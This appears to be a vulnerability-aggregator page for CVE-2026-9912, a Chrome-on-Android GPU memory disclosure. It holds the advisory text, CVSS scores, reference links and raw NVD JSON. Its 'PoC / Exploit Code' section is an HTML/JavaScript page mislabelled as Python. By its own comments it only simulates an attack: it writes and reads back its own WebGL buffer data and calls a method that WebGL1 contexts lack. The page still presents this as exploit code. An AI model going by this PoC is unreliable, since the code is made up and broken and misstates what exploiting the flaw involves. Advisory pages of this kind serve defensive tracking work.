CVE-2026-9912

Description

Inappropriate implementation in GPU in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome on Android < 148.0.7778.216

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-9912 PoC</title>
</head>
<body>
    <h1>CVE-2026-9912 GPU Information Disclosure PoC</h1>
    <canvas id="glCanvas"></canvas>
    <script>
        // Get the canvas element and WebGL context
        const canvas = document.getElementById('glCanvas');
        const gl = canvas.getContext('webgl');

        if (!gl) {
            console.log('WebGL not supported');
        } else {
            console.log('WebGL context created. Attempting to trigger vulnerability...');
            
            // This PoC simulates a crafted HTML page
            // that triggers the GPU implementation flaw.
            // In a real exploit, specific shader code or
            // buffer operations would be used to read memory.

            try {
                // Create a buffer and bind it to simulate GPU interaction
                const buffer = gl.createBuffer();
                gl.bindBuffer(gl.ARRAY_BUFFER, buffer);
                
                // Inject data that might trigger the inappropriate implementation
                // Malicious data injection attempt
                const data = new Float32Array([0.1, 0.2, 0.3, 0.4]);
                gl.bufferData(gl.ARRAY_BUFFER, data, gl.STATIC_DRAW);
                
                // Force a read operation to check for memory leak
                const readout = new Float32Array(4);
                gl.getBufferSubData(gl.ARRAY_BUFFER, 0, readout);
                console.log('Buffer readout:', readout);
                
                alert('PoC executed. Check console for details.');
            } catch (e) {
                console.error('An error occurred during PoC execution:', e);
            }
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9912
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9912
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9912/
[4] VulDB https://vuldb.com/cve/CVE-2026-9912
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html
[6] https://issues.chromium.org/issues/499873765

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9912", "sourceIdentifier": "[email protected]", "published": "2026-05-28T23:16:49.300", "lastModified": "2026-05-29T18:17:14.317", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in GPU in Google Chrome on Android prior to 148.0.7778.216 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_0877304591.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/499873765", "source": "[email protected]"}]}}